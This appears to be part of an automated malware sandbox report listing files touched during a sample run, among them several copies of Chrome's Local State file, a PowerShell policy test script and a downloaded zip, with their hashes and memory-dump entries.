Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 3e4884ffa2d1907299df945938946eca41791c37f77aa54e02882021b7bc054a
MD5 59b855b950136ad29e6fe60b0699b1a1
SHA1 b6511369f3dcd44d06c1cbc22283adf3e619bdbe
SHA512 a7f87af302886b70e77ded1f67a1fd2488d5fee0ef1af507eb2a3d630872b4beb0b2770c9d6ef980a004f9e65f0c3edd0bfba79e695c54af20f9f3fbd1ada3c7
SSDEEP 3072:T6Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMK:5m7Rkm1tYpBeh2BAoK
TLSH
T146C3123B5D75E83759B9BB0EB08E1A1F1EF249A6D930DE52C8D85E0433EA6CC1A05D34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 db4db805fc4597c484ea701769be2e847a3e01d666c04676e9432023da953e21
MD5 63a96c088615f014e768f2c441cce10b
SHA1 aaca003b693bdbac6939990b6898729e5fe516ca
SHA512 ef1d4e62e720f2dfda3826a2186a2064568593cc05f43679ec2810dbf0597508e19c7e06ea1dccaf6af09aac8706f552c1f959f89debcf2bc901e15f7aedc41d
SSDEEP 3072:3Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMK:2m7Rkm1tYpBeh2BAoK
TLSH
T19FC3123B5D65E97B9979B70EB08E0B1F1EF149A2D920DE92C8D85B0437EA7CD0A04D34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 fd6045ca97b925a6445009b1850b20e0e9e5a87949b5178376afa31fbe6f4c15
MD5 ff4d7eecd39fa03bfffceced30d242ee
SHA1 dd3e531dd58dee7c6c976c786f4cc8535a066ff5
SHA512 a9dd4b9c63581a0a19625fe6c93280121e53e2bc871f63babec6fb4617cdf622d8f644beac19c0fdd096ef17dd7fbe3d74f7965a95849e88f97b7c1b08e166ce
SSDEEP 3072:MGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMK:/m7Rkm1tYpBeh2BAoK
TLSH
T12AC3123B5D65F83759B5BB4EB08E0A1F1EF149A7D920DE52C8D85B0433EA7CC0A09A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_5qyufxsi.gue.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qyufxsi.gue.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

File_1a910ded-46a5-4259-982c-1c513daf944f.zip

Path C:\Users\Admin\Downloads\File_1a910ded-46a5-4259-982c-1c513daf944f.zip
Size 1KB
SHA256 64453a0fe5a3bf4a6b7b89a0dd32f60f5003d2c706ce2b66ec3660f9c58af8b7
MD5 4e194d5ba747806d009688022d7ba06b
SHA1 e80c251539c7eea57bf887eef8d4bfb5accaed42
SHA512 abab4e5259222bede4b1775547f1f93e25ac60792b47e08de93f2b0311a33257e9583f87549239260845da00db68e67d1b826cef8f96664a5f30f55f8ba49aa3
TLSH
T14521A746619D5616FC78A232CC1525EC0F3B2619B88CC18A4D4F6A848660FD7EBA2944
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1600-162-0x000001F27BF50000-0x000001F27BF60000-memory.dmp

Download

memory/1600-163-0x000001F27BF50000-0x000001F27BF60000-memory.dmp

Download

memory/1600-171-0x000001F27BF60000-0x000001F27BF82000-memory.dmp

Download